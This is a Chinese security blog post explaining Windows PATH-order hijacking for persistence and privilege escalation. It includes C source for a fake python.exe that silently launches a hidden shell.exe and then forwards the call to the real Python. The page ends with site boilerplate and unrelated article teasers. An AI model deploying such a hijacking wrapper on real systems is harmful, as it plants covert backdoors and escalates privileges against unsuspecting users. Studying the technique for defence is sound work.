windows环境变量滥用维权/提权

0x01 前提

通过滥用系统的路径搜索机制来欺骗高权限用户执行看似合法的系统二进制文件,实际上是恶意的代码或程序,从而导致升权限并执行恶意操作。

攻击的关键前提:

  1. 路径搜索顺序: 当用户在命令行或程序中执行一个命令时,系统会在环境变量$PATH定义的路径列表中搜索要执行的程序。它将从列表中的第一个路径开始搜索,然后按顺序继续搜索,直到找到匹配的程序。

  2. 权限限制: 用户权限的差异是这种攻击的基础。攻击者通常需要两类用户:

    • 低权限用户(M): 拥有较低权限,只能访问和写入特定文件夹,例如c:\temp。

    • 高权限用户: 拥有系统管理员或其他高权限角色,能够执行敏感的系统命令和操作。

  3. 环境变量设置: 攻击者需要控制或能够修改低权限用户(M)的环境变量设置,尤其是$PATH变量。

0x02 原理分析

原理是利用操作系统环境变量设置的弱点来欺骗高权限用户执行恶意代码,从而实现权限提升。

正常情况系统的环境变量是从c:\Windows\system32开始遍历,如下所示:

图片

但是,当存在于环境变量的路径在c:\Windows\system32之前,并且可由低权限用户 (M) 修改的时候,就会造成环境变量的滥用,例如(c:\Windows\temp变量路径滥用):

图片

并且查看文件夹访问权限,是可以用户修改的,查询如下:

图片

  • BUILTIN\Users:内置的用户组 “Users” 有以下权限:(CI):容器内项目,(S):同步访问,(WD):写入数据,(AD):添加数据,(X):执行文件。这意味着”Users”组可以读取、写入、添加、执行该文件夹内的项目。

  • BUILTIN\Administrators:内置的管理员组 “Administrators” 有:(F):完全控制权限。这意味着管理员可以完全控制该文件夹,包括修改权限。

  • NT AUTHORITY\SYSTEM:系统账户有:(F):完全控制权限。这允许系统账户对文件夹拥有完全控制。

  • CREATOR OWNER:文件或文件夹的创建者有:(OI)(CI)(IO)(F):对象的所有权,容器和继承的所有权,对象的访问权限,完全控制权限。这使得文件或文件夹的创建者拥有完全控制权限。

  • SAEDYQJKFJNNOFS\camer:用户”camer”有:(OI)(CI)(F):对象的所有权,容器和继承的所有权,完全控制权限。

当用户将恶意程序放在c:\Windows\temp目录下的时候,正常用户无论是Administrator还是SYSTEM调用,都会优先执行恶意程序,例如劫持的是cmd.exe,如下会被劫持执行计算器,如下所示:

图片

0x03 利用思路

实际利用的时候还存在一个巨大的缺陷,就是系统核心命令使用了一个称为“系统目录优先级”的机制,即使你在环境变量中指定了其他目录,系统仍然会首先搜索系统目录(通常是C:\Windows\system32)中的可执行文件,以确保系统的稳定性和安全性。

所以说只能接劫持利用python、java、gcc等用户环境的环境变量滥用,才能实际利用。

恶意程序如下(劫持的python.exe):

#include <windows.h>
#include <stdio.h>int main(int argc, char *argv[]) {// 恶意程序wchar_t* Shell = L"C:\\Windows\\Temp\\shell.exe";HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);// 保证python程序能够正常执行if (argc >= 2) {const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";// 构建调用Python脚本的命令char pythonCommand[4096]; // Increased buffer size to accommodate more argumentssnprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);// 将额外的参数添加到 Python 命令中for (int i = 2; i < argc; ++i) {strcat(pythonCommand, " ");strcat(pythonCommand, argv[i]);}// 调用Python脚本system(pythonCommand);}return 0;
}

假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):

python 1.py greeting morning

图片

执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:

图片

0x04 思考总结

普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。

 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/800621.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kafka 高吞吐设计分析

说明 本文基于 kafka 2.7 编写。author blog.jellyfishmix.com / JellyfishMIX - githubLICENSE GPL-2.0 概括 支撑 kafka 高吞吐的设计主要有以下几个方面: 网络 nio 主从 reactor 设计模式 顺序写。 零拷贝。 producer producer 开启压缩后是批量压缩&#xff0c;bro…

【Qt】:常用控件(七:输入类控件)

常用控件 一.Combo Box&#xff08;下拉框&#xff09;二.Spin Box&#xff08;微调框&#xff09;三.ate Edit&Time Edit&#xff08;日期微调框&#xff09;四.Dial&#xff08;旋钮&#xff09;五.Slider&#xff08;滑动条&#xff09; 一.Combo Box&#xff08;下拉框…

738.单调递增的数字

// 定义一个名为Solution的类 class Solution { public:// 定义公共成员函数&#xff1a;计算并返回大于等于输入整数N且其各位数字非降序排列的最小整数int monotoneIncreasingDigits(int N) {// 将整数N转换成字符串形式&#xff0c;方便操作每一位数字string strNum to_str…

23linux 自定义shell文件系统

打印环境变量&#xff0c;把当前子进程所有环境变量打印出来 环境变量也是一张表&#xff08;指针数组以null结尾&#xff0c;最后条件不满足就退出了 &#xff09; 用子进程调用 结论1 当我们进行程序替换的时候 &#xff0c;子进程对应的环境变量&#xff08;子进程的环境变…

Mybatis执行器(Executor)

Executor简介 Executor Executor是MyBatis的核心接口之一&#xff0c;其中定义了数据库操作的基本方法。在实际应用中经常涉及的SqlSession接口的功能&#xff0c;都是基于Executor接口实现的。 BaseExecutor BaseExecutor是一个实现了Executor接口的抽象类,它实现了Execut…

Yolov8-pose关键点检测:特征融合 | CAMixing:卷积-注意融合模块和多尺度提取能力 | 2024年4月最新成果

💡💡💡本文独家改进:CAMixingBlock更好的提取全局上下文信息和局部特征,包括两个部分:卷积-注意融合模块和多尺度前馈网络; 💡💡💡如何跟YOLOv8结合:1)放在backbone后增强对全局和局部特征的提取能力;2)放在detect前面,增强detect提取能力; 提供多种改进方…

【MATLAB源码-第180期】基于matlab的PTS,SLM,CPFilter三种降低OFDM系统的PAPR仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 1. 限幅和滤波&#xff08;Clipping and Filtering&#xff09; 原理简介 限幅和滤波是一种基础且直观的方法&#xff0c;用于降低OFDM信号的PAPR。在限幅阶段&#xff0c;信号的幅度在达到设定阈值时会被削减&#xff0c;…

皮具5G智能制造工厂数字孪生可视化平台,推进企业数字化转型

皮具5G智能制造工厂数字孪生可视化平台&#xff0c;推进企业数字化转型。随着信息技术的快速发展&#xff0c;数字化转型已成为企业提升竞争力、实现可持续发展的关键路径。皮具行业&#xff0c;作为一个传统的手工制造业&#xff0c;正面临着巨大的市场变革和技术挑战。如何在…

红队打靶:holynix打靶流程-文件包含-文件上传-修改伪设备提权(vulnhub)

目录 开头 1.主机发现和端口扫描 2.80端口-万能密码-文件泄露 sql注入万能密码 文件泄露-读取/etc/passwd文件 sqlmap POST注入| SQL注入实现越权 | 水平越权 最后构造的sql语句,为什么这么构造嘞&#xff1f; 3.文件上传、文件解析漏洞利用 浏览器怎么访问家目录啊&…

C语言指针—指针和指针类型

指针是什么&#xff1f; 指针是什么&#xff1f; 指针理解的2个要点&#xff1a; 指针是内存中一个最小单元的编号&#xff0c;也就是地址 平时口语中说的指针&#xff0c;通常指的是指针变量&#xff0c;是用来存放内存地址的变量 总结&#xff1a;指针就是地址&#xff0c;口…

Windows深度学习环境----Cuda version 10.2 pytorch3d version 0.3.0

Requirements Python version 3.8.5Pytorch version: pytorch1.6.0 torchvision0.8.2 torchaudio0.7.0 cudatoolkit10.2.89pytorch3d version 0.3.0Cuda version 10.2 感觉readme文件里的不适配&#xff0c;跟pytorch官网不同 以前的 PyTorch 版本 |PyTorch的 # CUDA 10.2 c…

充电桩项目,开源啦!

好&#xff0c;我是田哥 很多人&#xff0c;最近都在关注我的充电桩项目&#xff0c;之前建了一个微服务架构的项目&#xff0c;也有单体项目的代码开源。 今天&#xff0c;我把最新版微服务架构的充电桩项目源代码开源。 充电桩的输入端与交流电网直接连接&#xff0c;输出端都…

WindowServer2019远程桌面无法连接问题及处理方法

WindowServer2019远程桌面无法连接问题及处理方法 文章目录 WindowServer2019远程桌面无法连接问题及处理方法1. 问题描述1. 连接问题2. 原因分析 2. 解决方法1. 零时解决方法2. 永久解决方法1. 打开注册表编辑器2. GracePeriod的权限权限设置3. 删除REG_BINARY4. 重启 1. 问题…

VMware配置环境(安装运行问题)及系列dns端口网络类型IP远程连接学习之(详谈8000字)

安装vmware快速配置步骤 下载VMware安装包 在下载好VMware安装包之后双击运行 接受条款 关闭VMware自动更新 勾选快捷键方式 安装VMware安装 输入许可证&#xff08;有需要私信小编&#xff09; 安装完成 重启电脑即可 最终成功界面: 安装Linux系统 创建虚拟机 选择…

基于springboot+vue+Mysql的滴答拍摄影项目

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

Windows远程执行

Windows远程执行 前言 1、在办公环境中&#xff0c;利用系统本身的远程服务进行远程代码执行甚至内网穿透横向移动的安全事件是非常可怕的&#xff0c;因此系统本身的一些远程服务在没有必要的情况下建议关闭&#xff0c;防止意外发生&#xff1b; 2、作为安全人员&#xff0…

easyexcel处理复杂表头

需求&#xff0c;模板如下 功能如下 开始整活&#xff0c;依赖包。 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.2.1</version> </dependency>下载导入模板 1.方法 GetMapping…

【Vue】我的第一个组件

文章目录 项目简介 项目简介 项目根目录中的index.html是项目的入口文件 加载index.html&#xff0c;vite解析。指向的src下的ts文件或者js文件 最后通过vue3的createApp函数创建一个应用&#xff0c;并挂载到指定div下 App.vue结构说明 特别注意:script脚本内&#xff0…

基于单片机四路温度报警系统仿真设计

**单片机设计介绍&#xff0c; 基于单片机四路温度报警系统仿真设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机四路温度报警系统仿真设计概要主要涉及一个使用单片机作为核心控制器的温度监控系统&#xff0c;该系…